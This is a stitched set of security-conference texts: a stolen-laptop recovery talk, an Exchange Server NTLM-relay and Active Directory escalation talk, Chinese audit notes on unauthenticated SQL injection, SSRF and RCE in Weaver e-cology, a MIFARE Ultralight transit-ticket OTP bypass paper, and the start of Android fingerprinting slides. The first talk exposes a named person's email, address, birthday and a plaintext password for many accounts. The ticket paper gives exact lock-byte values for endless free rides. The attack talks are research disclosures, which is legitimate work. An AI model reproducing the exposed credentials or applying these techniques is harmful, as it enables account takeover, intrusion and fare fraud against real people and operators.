SLUCE1A084C57450252495D58515F5D5844161D5D100B0341435E42585442415F5746505B4C41470856484A5A525511 .18andabused.videosz.com TRUE / FALSE 1335552222 __utma151411513.118282892.1272480223.1272480223.1272480223.1 .realexgirlfriends.com TRUE / FALSE 1335551888 __utma253505418.1063252664.1272479884.1272479884.1272479884.1 www.thepornbunker.com FALSE / FALSE 1304015871 c_ref_986647 http%3A//www.google.com/search%3Fq%3Dporn%2520freee%26sourceid%3Dmozilla2%26ie%3Dutf-8%26oe%3Dutf-8 .massagecreep.comTRUE / FALSE 1273343837 natsMTYzNjI6OTQ6NTg%2C0%2C0%2C0%2C0 .livecams.com TRUE / FALSE 1335551664 __utma259216663.107940818.1272479657.1272479657.1272479657.1 .porn.com TRUE / FALSE 1288247519 __utmz139135020.1272479520.1.1.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=bella%20moretti .mycricket.com TRUE / FALSE 1287647051 __utmz174607422.1271879052.3.2.utmcsr=google|utmccn=(organic)|utmcmd=organic|utmctr=cricket%20ringback%20tones .walmartmoneycard.com TRUE / FALSE 1287831181 __utmz118520207.1272063181.2.2.utmcsr=mygreendot.com|utmccn=(referral)|utmcmd=referral|utmcct=/greendot/ .mocospace.com TRUE / FALSE 1286668440 __utmz60546097.1270900441.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) .blackpeoplemeet.com TRUE / FALSE 1274473696 MRID8370480 www.mycricket.comFALSE / FALSE 1303580798 OAID 4c51a7a16392acdd3fc453bfd5a5bf72 .homemadeporn.comTRUE / FALSE 1287634143 __utmz269355368.1271866143.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none) .youporn.com TRUE / FALSE 1286757726 __utmz60671397.1270989727.1.1.utmccn=(organic)|utmcsr=google|utmctr=beautiful+pussy|utmcmd=organic .favouritenudes.com TRUE / FALSE 1286757695 __utmz117594782.1270989695.1.1.utmccn=(organic)|utmcsr=google|utmctr=beautiful+pussy|utmcmd=organic ✓ Location: Las Vegas ✓ Name: Mel Guzman ✓ Photos: ✓ GMail account: mrguzmanmel@gmail.com ✓ Keylogger installed LogKext Daemon starting up : Mon May 10 22:14:25 2010 <esc><esc><tab>>>kljhghggbjj<down><down><up><up>?? >><:KLBYYYBYLL:&NN&:&&&&&BJ<cmd>BJHZXUY<cmd>&S^&N<del> AMBERVALLEYLANE LAS VEGAS<tab>nnnnnnn<tab> youtube.com dont lea<del>irs.com irs <cmd>tmocospace.com 1flyricanpapi<tab>guzman85 mrguzmanmel@gmail.com melvin<tab>guzman<tab> amv<del>ber valleylane<del><del><del><del>ln<shift><tab> <del>MFG FGUVUTYRTERWEW#W#QW$SW$#D$W$#E$$RR%%T^%^&Y&&R $&**YR*TYJ*BR&B&B&HJHJJJUJYBUBJNICKJRN(<del>ICK JR <cmd>CV XZ {}}{+}{} LogKext Daemon starting up : Mon May 10 22:14:25 2010 <esc><esc><tab>>>kljhghggbjj<down><down><up><up>?? >><:KLBYYYBYLL:&NN&:&&&&&BJ<cmd>BJHZXUY<cmd>&S^&N<del> AMBERVALLEYLANE LAS VEGAS<tab>nnnnnnn<tab> youtube.com dont lea<del>irs.com irs <cmd>tmocospace.com 1flyricanpapi<tab>guzman85 mrguzmanmel@gmail.com melvin<tab>guzman<tab> amv<del>ber valleylane<del><del><del><del>ln<shift><tab> <del>MFG FGUVUTYRTERWEW#W#QW$SW$#D$W$#E$$RR%%T^%^&Y&&R $&**YR*TYJ*BR&B&B&HJHJJJUJYBUBJNICKJRN(<del>ICK JR <cmd>CV XZ {}}{+}{} LogKext Daemon starting up : Mon May 10 22:14:25 2010 <esc><esc><tab>>>kljhghggbjj<down><down><up><up>?? >><:KLBYYYBYLL:&NN&:&&&&&BJ<cmd>BJHZXUY<cmd>&S^&N<del> AMBERVALLEYLANE LAS VEGAS<tab>nnnnnnn<tab> youtube.com dont lea<del>irs.com irs <cmd>tmocospace.com 1flyricanpapi<tab>guzman85 mrguzmanmel@gmail.com melvin<tab>guzman<tab> amv<del>ber valleylane<del><del><del><del>ln<shift><tab> <del>MFG FGUVUTYRTERWEW#W#QW$SW$#D$W$#E$$RR%%T^%^&Y&&R $&**YR*TYJ*BR&B&B&HJHJJJUJYBUBJNICKJRN(<del>ICK JR <cmd>CV XZ {}}{+}{} PWNED mocospace.com: 1flyricanpapi / guzman85 gmail: mrguzmanmel@gmail.com / guzman85 PayPal: mrguzmanmel@gmail.com / guzman85 Facebook: timrican@yahoo.com / guzman85 Yahoo: timrican / guzman85 BlackPlanet.com: fricanpapi85 / guzman85 BlackCrush.com: fricanpapi / guzman85 yourfuckbook.com: fricanpapi / guzman85 planetsuzy.com: fricanpapi / guzman85 cect-forums.com: melguzman85 / guzman85 mocospace.com: 1flyricanpapi gmail: mrguzmanmel@gmail.com PayPal: mrguzmanmel@gmail.com Facebook: timrican@yahoo.com Yahoo: timrican BlackPlanet.com: fricanpapi85 BlackCrush.com: fricanpapi yourfuckbook.com: fricanpapi planetsuzy.com: fricanpapi cect-forums.com: melguzman85 eBay: mguzman1985 Name: Melvin Guzman-Rosa Address: Amber Valley Lane, Las Vegas, NV Birthday: March 27, 1985 Lessons Learned ➡ Better security = non-recovery ➡ Perp could log in ➡ Network settings editable ➡ Recovered hardware & some data ➡ Potential vulns (against trained threat) were boons against low-tech threat ➡ ssh, VNC, IP tracking daemon ➡ Keychain vs keyloggers ➡ Note your serial #s for the cops ➡ Don’t fuck with a hacker’s machine
pdf
Vulnerability Exchange: One Domain Account for More Than Exchange Server RCE Tianze Ding (@D1iv3) > whoami • Tianze Ding (@D1iv3) – Senior security researcher at Tencent Security Xuanwu Lab – Focusing on Active Directory Security / Red Team / Web Security – Reported some vulnerabilities to Microsoft, Apple, Google, etc. – Black Hat Asia / Black Hat USA Arsenal speaker • Exchange Server Attack Surface Overview • From a Domain Account to Arbitrary Mailbox Takeover • From a Domain Account to Exchange Server RCE • Lateral Movement & Privilege Escalation • Conclusion & Takeaways Agenda • One of the most famous mail servers in the world • Stores large amounts of sensitive corporate information – Emails, attachments, contacts, calendars … Why Microsoft Exchange Server ? • Highly integrated with Microsoft Active Directory – Authentication – Mailbox / User / Group management – Exchange Server configuration – … • High-privileged AD objects – Exchange Servers are installed by Enterprise Admins / Schema Admins / … – The Exchange Windows Permissions group has WriteDACL right on the Domain object (fixed in 2019) Why Microsoft Exchange Server ? [1] https://docs.microsoft.com/en-us/exchange/plan-and-deploy/active-directory/ad-access?view=exchserver-2019 [2] https://docs.microsoft.com/en-us/exchange/plan-and-deploy/deploy-new-installations/install-mailbox-role?view=exchserver-2019 Exchange Server Attack Surface Overview • Client Access Services – HTTPS endpoints – POP3 / IMAP / SMTP – Unified Messaging • HTTPS endpoints – OWA, ECP – RPC, EWS, MAPI, API, ActiveSync, PowerShell, Auto Discover, OAB Architecture and Attack Surface • Most historical vulnerabilities exist in ASP.NET code running on IIS Server Historical Vulnerabilities IIS Server POP3 Exchange Server RPC ECP OWA EWS MAPI API Active Sync Power Shell Autodi scover OAB Front End HTTP Proxy IMAP SMTP UM Architecture and Attack Surface POP3 IMAP SMTP UM IIS Server Windows Server Exchange Server … Exchange Server Exchange Server Front End HTTP Proxy OWA/ECP/MAPI/EWS/… From a Domain Account to Arbitrary Exchange Mailbox Takeover The UNC Feature • Many ECP operations/PowerShell Cmdlets support UNC feature – Export-ActiveSyncLog – Import-ExchangeCertificate – New-ExchangeCertificate – Export-ExchangeCertificate – New-MailboxExportRequest – … • Trigger SMB connection – Exchange Server runs with NT AUTHORITY\SYSTEM – NTLM authentication with XLAB\Exchange1$ (Machine Account) The UNC Feature What can we do with the SMB connection / NTLM authentication ? 🤔 • Embedded challenge-response style authentication protocol • Protocols using NTLMSSP – NTLM over SMB – NTLM over HTTP – NTLM over LDAP – NTLM over MSRPC – … • NTLM relay attack What is NTLM NTLM Relay Attack 101 Victim Attacker Attacked Target DC [NTLM Negotiation] Let me log in to \\attacker\share [NTLM Negotiation] Let me log in to the vulnerable service NTLM Relay Attack 101 Victim Attacker DC [NTLM Challenge] Here is a challenge, hash it with your password [NTLM Challenge] Here is a challenge, hash it with your password Attacked Target NTLM Relay Attack 101 Victim Attacker DC [NTLM Auth] I am DOMAIN\victim, here is the challenge-response NETLOGON Success [NTLM Auth] I am DOMAIN\victim, here is the challenge-response Attacked Target NTLM Relay Attack 101 Victim Attacker DC Login successful with DOMAIN\victim Login failed NETLOGON Success Attacked Target Exploit • We can trigger NTLM authentication of XLAB\Exchange1$ • Preconditions for NTLM relay attack – Authentication • Are there any vulnerable services as targets of NTLM relay attacks? – Authorization • Does the machine account have any special privileges on these services? NTLM Relay Attack Attacker NTLM relay -> Login with XLAB\Exchange1$ Service A XLAB\Exchange1$ can perform sensitive operations Endpoints Description Authentication /owa Outlook Web App Web Form /ecp Exchange Control Panel Web Form /mapi MAPI over HTTP, used by modern Microsoft Outlook Kerberos, NTLM /EWS Exchange Web Services, used by Outlook for macOS and Outlook add-ins Kerberos, NTLM /Rpc Outlook Anywhere, used by Microsoft Outlook 2013, Outlook 2010, or Outlook 2007 Kerberos, NTLM, Basic /Microsoft-Server-ActiveSync ActiveSync let you synchronize a mobile device with your Exchange mailbox Basic /Powershell Used by Exchange PowerShell Cmdlets Kerberos /Autodiscover Used by client application to configure itself Kerberos, NTLM, Basic /API REST API, available in Exchange 2016 CU3 or newer Kerberos, NTLM /OAB Offline Address Book Kerberos, NTLM Exchange Server (on-premise) Endpoints Can we relay NTLM authentication to these endpoints ? 🤔 NTLM Reflection • Can we relay the NTLM authentication back to Exchange1? • CVE-2018-8581 SSRF + NTLM reflection – The victim and the attacked target are the same machine – CVE-2018-8581 disabled NTLM reflection on Exchange Server – Remove HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa DisableLoopbackCHECK Attacker NTLM auth of XLAB\Exchange1$ Relay back to the same machine Exchange1 Two Exchange Servers • What if there is more than one Exchange Server in the AD ? – A common situation of Exchange Server load balancing in enterprise environments Attacker Exchange1 Exchange2 NTLM auth of XLAB\Exchange1$ Relay the NTLM auth to HTTPS endpoints on Exchange2 EPA Extended Protection for Authentication • EPA (Extended Protection for Authentication) – Channel Binding: NTLM authentication protection on TLS channel – Calculates a Channel Binding Token (CBT) based on the TLS certificate and the user's NT hash, then adds it to the NTLM_AUTHENTICATE message Attacked Target Victim Attacker NTLM_AUTH + CBT CalculateCBT(NT hash of DOMAIN\victim, , …) NTLM_AUTH + CBT • Channel Binding Token in NTLMSSP over SMB are all zero by default • But fortunately, EPA is disabled on these Exchange endpoints by default Extended Protection for Authentication Does XLAB\Exchange1$ has any special privileges on these endpoints? 🤔 • ExtendedRights ms-Exch-EPI-Token-Serialization • All members of the Exchange Servers group have token serialization rights on all Exchange Servers in the AD Exchange Server Machine Account EWS Impersonation • EWS creates security access tokens based on <m:SerializedSecurityContext> • Users with token serialization rights can impersonate other Exchange users EWS Impersonation • Set UserSid in SerializedSecurityContext to impersonate other users – You can use LDAP or impacket/exchanger.py to get UserSids • EWS supports almost all operations supported by Outlook – FindFolder: Find all pre-defined and customed folders – FindItem: Find all items (mails for instance) in folders – GetItem: Read mails – CreateItem: Send mails – GetAttachment: Read mail attachments – UpdateInboxRules: Redirect inbox mails to other users – InstallApp: Install a mail app for Outlook – … EWS Operations https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews-operations-in-exchange • Found by @tifkin_ from SpecterOps • Print System Remote Protocol (MS-RPRN) – Printer Spooler Service – Enabled by default • RpcRemoteFindFirstPrinterChangeNotificationEx API – pszLocalMachine can be set to a UNC path – Any domain users / computers can force REMOTESERVER$ to establish SMB connections with any machine The Printer Bug DWORD RpcRemoteFindFirstPrinterChangeNotificationEx( [in] PRINTER_HANDLE hPrinter, [in] DWORD fdwFlags, [in] DWORD fdwOptions, [in, string, unique] wchar_t* pszLocalMachine, [in] DWORD dwPrinterLocal, [in, unique] RPC_V2_NOTIFY_OPTIONS* pOptions ); The Exploit Chain Exchange1 XLAB\attacker Exchange2 Printer Bug XLAB\Exchange1$ NTLM authentication Relay the NTLM authentication to EWS Log in successfully as XLAB\Exchange1$ Impersonate administrator@xlab.sec Read mails, download attachments, send mails etc. as administrator@xlab.sec Demo • The April 2021 Patch breaks the exploit chain – no longer allows machine accounts to log in to Exchange endpoints • Fixed on Patch Tuesday in July and assigned CVE-2021-33768 Patches Conclusion Arbitrary Mailbox Takeover A normal domain account (Domain User / Domain Computer) More than one Exchange Server From a Domain Account to Exchange Server RCE • All group members have local administrator privileges on Exchange Servers Exchange Trusted Subsystem • Relaying NTLM over SMB to WinRM? – Based on HTTP/HTTPS, support NTLM authentication – HTTP: Signing and sealing are enabled – HTTPS: Channel Binding is set to Relaxed Available Services • Relaying NTLM over SMB to SMB? – SMB signing is enabled by default on Exchange Server • Relaying NTLM over SMB to MSRPC? – NCACN_NP port 445 SMB – NCACN_IP_TCP port 135 + a dynamic port assigned by EPM Available Services MSRPC ncalrpc ncacn_np ncacn_ip_tcp ncacn_http … • Relaying NTLM over SMB to MSRPC? – NCACN_IP_TCP port 135 + a dynamic port assigned by EPM • MS-TSCH, MS-RPRN, MS-SCMR, MS-SAMR, … • RPC clients can set the auth type to RPC_C_AUTHN_WINNT to use NTLMSSP Available Services • Relaying NTLM authentication to MSRPC over NCACN_IP_TCP – CVE-2020-1113 • MS-TSCH on Task Scheduler service • Found by @sploutchy from Compass Security – CVE-2021-1678 • MS-RPRN on Printer Spooler service • Found by Eyal Karni and Alex Ionescu from CrowdStrike Available Services • DCOM allows COM objects to be used over the network • DCOM is based on MSRPC DCOM NTLM authentication to 172.19.0.100:135 (ISystemActivator) ISystemActivator::RemoteCreateInstance(CLSID, IID, …) client server OBJREF StringBindings NCACN_TCP_IP 172.19.0.100[8652] NTLM authentication to 172.19.0.100:8652 Object RPC request Object RPC response ... Port 135 A Dynamic Port • Signing and sealing are not force enabled on DCOM servers • DCOM clients can set the auth level to RPC_C_AUTHN_LEVEL_CONNECT to avoid signing and sealing MS-RPC Authentication Levels • WMI (Windows Management Instrumentation) – Based on DCOM, allows administrators to manage remote computers • DCOM – ShellWindows (9BA05972-F6A8-11CF-A442-00A0C90A8F39) – ShellBrowserWindow (C08AFD90-F2A1-11D1-8455-00A0C91F3880) – MMC20.Application (49B2791A-B1AE-4C90-9B8E-E860BA07F89) Find Exploitable COM Objects • MMC20.Application Document.ActiveView.ExecuteShellCommand – Found by @enigma0x3 from SpecterOps • Available on latest Windows Server 2019 by default • Require authenticating to only two RPC interfaces MMC20.Application The Exploit Chain Exchange1 XLAB\attacker Exchange2 Printer Bug XLAB\Exchange1$ NTLM authentication Relay the NTLM authentication to DCOM ISystemActivator XLAB\Exchange1$ NTLM authentication Relay the NTLM authentication to DCOM IDispatch iDispatch.GetIDsOfNames("Document") iDocuement.GetIDsOfNames("ActiveView") iActiveView.GetIDsOfNames("ExecuteShellCommand") Invoke "cmd /c calc" ISystemActivator::CreateRemoteInstance Demo • Fixed on Patch Tuesday in Jun and assigned CVE-2021-26414 • Manually set RequireIntegrityActivationAuthenticationLevel = 1 on DCOM servers – HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Ole\AppCompat RequireIntegrityActivationAuthenticationLevel – Force enable RPC_C_AUTHN_LEVEL_PKT_INTEGRITY Patches Conclusion Exchange Server RCE A normal domain account (Domain User / Domain Computer) More than one Exchange Server Lateral Movement & Privilege Escalation • Previous lateral movement/privilege escalation methods after Exchange RCE – WriteDACL on the Domain Object + DCSync • Fixed in 2019 – Abuse DNS Admins group • Fixed in 2019 – Abuse the ForceChangePassword right on domain users • Force change passwords of domain users • Unable to recover the victim user's original password – Abuse the WriteDACL right on domain users • Set SPN on domain users and perform the Kerberoasting attack • Sometimes it's hard to brute force passwords if there is a complex password policy Previous Work Exploit Primitives Group Policy Creator Owners Exchange Windows Permission Exchange Trusted Subsystem Attacker XLAB\Exchange1$ RCE Member Of Member Of Add Member Add Member Exploit Primitives ① Add users to high-privileged groups Exploit Primitives Group Policy Creator Owners Exchange Windows Permission Exchange Trusted Subsystem Attacker XLAB\Exchange1$ RCE Member Of Member Of Add Member Add Member Create OU Organizational Unit Exploit Primitives ① Add users to high-privileged groups ② Create new Organizational Units Exploit Primitives Group Policy Creator Owners Exchange Windows Permission Exchange Trusted Subsystem Attacker XLAB\Exchange1$ RCE Member Of GPO Create GPO Create OU Organizational Unit Exploit Primitives ① Add users to high-privileged groups ② Create new Organizational Units ③ Create new Group Policy Objects ④ Move objects to other containers Member Of Add Member Add Member Exploit Primitives Group Policy Creator Owners Exchange Windows Permission Exchange Trusted Subsystem Attacker XLAB\Exchange1$ RCE Member Of GPO Write Distinguished Name Organizational Unit Users / Computers Objects Delete from containers Exploit Primitives ① Add users to high-privileged groups ② Create new Organizational Units ③ Create new Group Policy Objects ④ Move user/computer objects to OUs Create User / Computer Objects Write name Write Name Create GPO Create OU Member Of Add Member Add Member Design a new lateral movement method Evil OU Evil GPO gPLink Create OU Create GPO attacker victim Move to Evil OU User Immediate Task Group Policy Refresh Pop calc Exchange Trusted Subsystem Group Policy Creator Owners Member of Add to Evil GPO • SharpGPO: A new red team tool for remotely manipulating GPOs – Get/New/Remove OU – Get/New/Remove GPO – Get/New/Remove gPLink – Get/New/Remove Security Filtering • SharpGPOAbuse (@FSecureLabs) – Create malicious group policies – User Immediate Task – Computer Immediate Task GPO Manipulation https://github.com/Dliv3/SharpGPO Demo • Privilege Escalation -> Domain Admin? 🤔 • AdminSDHolder – Provides "template" permissions for the protected accounts and groups – All domain admins, adminCount = 1 • Domain Controller computers – adminCount is not set Privilege Escalation Design a new privilege escalation method EvilComputerOU EvilComputerGPO gPLink Create OU Create GPO attacker Domain Controller Move to OU Computer Immediate Task Group Policy Refresh SYSTEM Pop calc Exchange Trusted Subsystem Group Policy Creator Owners Member of Add to GPO Default Domain Controller Policy gPLink Demo • Switch to Active Directory split permissions model – Effectively limit Exchange rights in Active Directory Mitigation Conclusion & Takeaways • For Red Teams – Two new Exchange Server vulnerabilities – A new lateral movement / privilege escalation method • For Blue Teams – Patch all vulnerable Exchange Servers and the Windows Servers where they are running on! – Switch your Exchange Servers to Active Directory split permissions model if possible – Restrict NTLM usage as much as possible Conclusion & Takeaways • The Printer Bug @tifkin_ from SpecterOps • Impacket @agsolino • ExchangeRelayX @quickbreach • impacket/exchanger.py Arseniy Sharoglazov • MMC20 @enigma0x3 from SpecterOps • CVE-2020-1113 @sploutchy from Compass Security • CVE-2021-1678 Eyal Karni and Alex Ionescu from CrowdStrike • SharpGPOAbuse @FSecureLabs • Special thanks to MSRC for their hard work in fixing these vulnerabilities Acknowledgement [1] https://www.zerodayinitiative.com/blog/2018/12/19/an-insincere-form-of-flattery- impersonating-users-on-microsoft-exchange [2] https://www.slideshare.net/harmj0y/derbycon-the-unintended-risks-of-trusting-active- directory [3] https://docs.microsoft.com/en-us/exchange/client-developer/web-service-reference/ews- operations-in-exchange [4] https://github.com/quickbreach/ExchangeRelayX [5] https://blog.compass-security.com/2020/05/relaying-ntlm-authentication-over-rpc/ [6] https://www.crowdstrike.com/blog/cve-2021-1678-printer-spooler-relay-security-advisory/ [7] https://docs.microsoft.com/en-us/openspecs/windows_protocols/ms-rpce/425a7c53-c33a- 4868-8e5b-2a850d40dc73 [8] https://enigma0x3.net/2017/01/05/lateral-movement-using-the-mmc20-application-com- object/ [9] https://github.com/SecureAuthCorp/impacket [10] https://github.com/gdedrouas/Exchange-AD-Privesc [11] https://labs.f-secure.com/tools/sharpgpoabuse/ References Thank you ! Tianze Ding (@D1iv3)
pdf
泛微审计小结 0x00:起因是群里周末发了一个 cnvd 收录泛微注入的截图。。然后找泛微要了一份补丁 发现漏洞位置在/upgrade/detail.jsp 登陆后的注入,,没啥卵子用。。遂自己扒了套代码自己审计 0x01:未授权的 sql 注入 漏洞位置:/clusterupgrade/getProcessInfo.jsp 跟进去 注入点发生在上图 408 行 实际测试中发现泛微全局的 filter。。。黑盒绕的。。比较迷。。。简单 fuzz 了下 得到了如 下 poc 这时候发现这个 poc 的字段位置。。只要填入非数字型字符。。union 就被转成乱码。。 这里实在不想再饶了。。留个坑。。 然后又碰到了另一个坑(mmp 的泛微)。。 我们可以通过联合查询控制图中 1 位置的的返回结果,然后把注入语句 hex 后写入 str10 拼 接给图中 2 位置的 sql 语句,构造注入取数据。。类似二次注入。 但!。。 不知道为毛给我返回了一个地址。。。 0x02:SSRF SSRF 算是上面注入的一个延伸攻击面 通过联合查询控制返回值 httpaddress,达到 ssrf 的目的,印象中高版本 jdk 好像不支持 gopher 和 dict 攻击面比较窄。。凑数的洞 0x03:未授权 rce 主要问题在/clusterupgrade/tokenCheck.jsp 这个文件 这里代码写的挺迷的。。。。红框的判断好像有没有区别不大。。 ecology2018_upgrade 值还是硬编码的。。。 直接访问该文件 我们可以得到 license 加密后的值和 timestamp(String timestamp = des.getDistributeinfo();) 有了 license 之后 我们可以绕过 checkSecurity 函数 上传恶意文件 主要就是绕过 checkSecurity 函数。。后续上传就没啥好说了 直接看利用吧。。。 1.拿到加密后的 key 2.构造 token 进行上传 3.触发解压缩操作 4.Getshell Ps.有的会有 ip 校验 加个 XFF 头。。 通用性不强。。水一发。。
pdf
OTP circumventing in MIFARE ULTRALIGHT: Who says free rides? bughardy bughardy@cryptolab.net Eagle1753 eagle1753@onenetbeyond.org Introduction RFID technologies are becoming more and more prevalent in our lives. This motivated us to study them, and in particular to study the MIFARE ULTRALIGHT chips, which are widely used in public/mass transport systems. We focused on multiple-ride tickets, and were surprised that MIFARE ULTRALIGHT chips do not seem to store any type of encrypted data. NFC chips should help transport company to prevent fraud and fake tickets but the scenario we are going to present shows a very different situation. In 2012 a security team from U.S.¹ found a bad implementation of transport ticket checking system. Each time a traveler made use of one of his ride, each ultralight card can store several rides, the system write the rides left on the DATA bytes of the ticket. It was enough to erase everything in data area to get a brand new ticket. After that several transport company started to use a security features of Mifare Ultralight ticket, OTP ( One-Time-Pad ) area. This area is composed o 32 bits. At the beginning each bit is set to zero, after each ride one bit is set to 1. In this area you can't turn bit back to zero. In this paper, and in the accompanying talk, we will discuss how bypass OTP features to gain again free rides using Mifare Ultralight transport tickets. And we will also show an easy script that displays ticket informations and help us to get free rides. ¹Corey Benninger and Max Sobell, security researchers at the Intrepidus Group MIFARE ULTRALIGHT Sectors Let's give a look to how a Mifare Ultralight chip is made. We have 5 sectors: Sector Memory UID – Ticket's serial number 9 bytes Internal byte, written by manufacturer 1 byte Lock bytes 2 bytes OTP bytes 4 bytes Data bytes 48 bytes In OTP sector all bits are set to 0 after production; if you want to write some bits in this area, they will be ORed with the existing, thus making impossible to turn a “1” bit into “0”. This security features is used to prevent abuse of NFC chips in transport systems, so that it would be useless to erase the data area in order to get a brand new ticket. How the system works As we have already seen, each ride implies that a bit is set to 1 in OTP sector. But there are also others relevant data written on the ticket. For example transport type ( metro, bus, etc ) or the time of last stamp. All this data are written on DATA sector. As soon as you your ticket, you have 90 minutes to use your ride. Then you have to stamp again. The ticket is valid in any transport system, such as subway, bus or whatever and it doesn't matter where you stamp it: you can do it on a bus and then take subway if you are within 90 minutes; however, you can't get subway more than once for each ride. This means that ticket must store also data to identify metro station. Vulnerabilities After much thinking we found two possible vulnerability. Decoding time data The first vulnerability we discover involve decoding the time written on the ticket. After acknowledging how it is encoded and written in data sector anyone can write it to the ticket avoiding to write OTP data, so you won't remove rides from your ticket but it looks like a validated one. Unfortunately we are still not able to decode data, we will provide some dumps for anyone who would like help us. There is also a second way to use this vulnerability: a MiTM attack. Using a NFC emulator, android phone or proxymark, an attacker could sniff the communication between the stamping machine and the chip and write only DATA bytes on the ticket. In that way you can validate the ticket for 90 minutes without knowing how time data is encoded. We didn't test it cause we don't have a proxymark. (ab)Using lock bytes The most interesting vulnerability requires another sector: lock bytes. This sector is made of two bytes, each bit is used to freeze status of others bytes: First byte bit 0 bit 1 bit 2 bit 3 bit 4 bit 5 bit 6 bit 7 Lock status of first 4 bytes in DATA sector Lock status of second 4 bytes in DATA sector … … Lock status of OTP sector Freeze status of lock bits for second half of data sector Freeze status of lock bits for first half of data sector Freeze status of lock bit for OTP sector Second byte locks only bytes in data sector, so at the moment is useless. Using bit 4 of first byte of lock sector we can lock status of the OTP sector, making impossible to machine turn it's bits to 1. This create an unlimited- rides ticket. Our test shows the following lock bytes structure for our ticket: HEX F2 03 BIN 11110010 00000011 Analyzing it we saw that there are several bytes in DATA sector which are locked and them can't be unlocked anymore due the bit 6 of first byte. So, by turning bit 4 of first byte to 1, we locked the OTP sector, getting our free ticket for life. HEX FA 03 BIN 11111010 00000011 This makes the ticket endless Tool We're developing a tool to check ticket status and make it endless. It is really at alpha stage and we wish to rewrite it in C/C++. It's written in python and requires nfc-tool installed in the computer. Its functions are: • Check dumps state • Edit rides left and endless functionality • Write dumps on HDD • Write dumps on ticket It is not really optimized but it works and it is okay as a first release. bughardy@cryptolab:~$ python nfc.py dump.mfd Looking for dump... Printing ticket infos... SERIAL NUMBER: 04d3e1be32782680ec INTERNAL BIT: 48 LOCK BYTES: fa03 FREE RIDES ENABLED! OTP BYTES: 3ffffffe RIDES LEFT: 1 DATA BYTES: 01040000020102be4011960000ae10a061040af32cbb244e43671f000 4f8000043671f00000d0004f8ae107a2f12e5f Fix Fix the OTP vulnerability should be quite easy; it would be enough to release a firmware update in order to check if lock sector is locking OTP area or not, and if so, refuse to validate the ticket. The MiTM attack and the decoding attack would be more difficult to be fixed, indeed, as regards our opinion, there is not fix to that. The problem could be fixed by using NFC chips with encrypted communication. But the encryption should change the time data for each ticket, for example using UID as IV, otherwise a man with one ticket could validate several other tickets just copying his time data to their. bughardy aka Matteo Beccaro Eagle1753 aka Matteo Collura
pdf
REDNAGA ANDROID COMPILER FINGERPRINTING CALEB FENTON - TIM “DIFF” STRAZZERE 07.22.2016 HITCON COMMUNITY 2016 WHO ARE WE • Banded together by the love of 0days and hot sauces • Random out of work collaboration and pursuit of up-leveling the community • Disclosures / Code / Lessons available on GitHub • rednaga.io • github.com/RedNaga RED NAGA? WHO ARE WE • Researcher @ SentinelOne • Former Researcher @ SourceClear
 Former Researcher @ Lookout • Texan at heart, Californian based on shorts and sandals 24/7 • Creator of “Simplify” • @CalebFenton • github.com/CalebFenton CALEB WHO ARE WE • Researcher @ SentinelOne • Former Researcher @ Lookout • Obfuscation and Packer Junkie • Makes own hot sauce - cause why not? • @timstrazz • github.com/strazzere DIFF  More importantly - why should you care? WHY ARE WE HERE • Threat Intel is important! • Used for many purposes: • What are people researching now? • What should you research next? • Anticipate attack patterns • Avoid overlap with others! • We like drinking… What should you learn from us today? THE TAKE AWAYS • How to fingerprint compilers (generically) • Abnormalities in DEX structure or values • Signals modification / tampering • Compiler fingerprinting • Sophisticated agents • Related PC stuff • F.L.I.R.T. - https://www.hex-rays.com/products/ida/tech/flirt/index.shtml • PEID - http://www.aldeid.com/wiki/PEiD REDNAGA CURRENT ANDROID TOOL LANDSCAPE Tools and Evolution application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Two resources we care about for
 this presentation specifically application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Android Manifest
 Compiled AndroidXML
 Contains:
 entry points for app
 Activities
 Services
 Receivers Intents
 … app permissions
 app meta-data package name version code/name debuggable referenced libraries Reverse with: axmlprinter2
 apktool
 jeb / jeb2 androguard
 010Editor Templates application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Android Manifest
 Compiled AndroidXML
 Created by:
 aapt axmlprinter2 (new ver)
 apktool (axmlprinter2 mod)
 random Python scripts application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
 … assets/ * AndroidManifest.xml classes.dex resources.arsc    * Used by normal devs Android Manifest
 Compiled AndroidXML
 Created by:
 aapt axmlprinter2 (new ver)
 apktool (axmlprinter2 mod)
 random Python scripts application/vnd.android.package-archive ANDROID APPLICATION PACKAGING (APK)  Blah.apk META-INF/ MANIFEST.MF
 CERT_NAME.(RSA | DSA)
 CERT_NAME.SF lib/ armeabi(-v7a)/
 arm64-v8a/ x86/
 mips/ lib*.so res/ drawable-*/
 xml/ raw/
 … *.png
 *.xml
